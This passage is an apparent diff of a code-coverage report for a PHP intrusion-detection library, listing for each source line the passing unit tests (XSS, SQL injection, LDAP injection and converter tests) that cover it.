class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel111": { - "header": "41 tests cover line 111", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel112": { - "header": "41 tests cover line 112", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel113": { - "header": "1 test covers line 113", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel114": { - "header": "1 test covers line 114", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel115": { - "header": "1 test covers line 115", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "42 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel120": { - "header": "42 tests cover line 120", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel131": { - "header": "1 test covers line 131", - "body": "<ul><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel132": { - "header": "1 test covers line 132", - "body": "<ul><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel133": { - "header": "1 test covers line 133", - "body": "<ul><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel135": { - "header": "1 test covers line 135", - "body": "<ul><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel145": { - "header": "35 tests cover line 145", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel157": { - "header": "42 tests cover line 157", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel158": { - "header": "42 tests cover line 158", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel168": { - "header": "42 tests cover line 168", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel170": { - "header": "42 tests cover line 170", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel172": { - "header": "42 tests cover line 172", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li 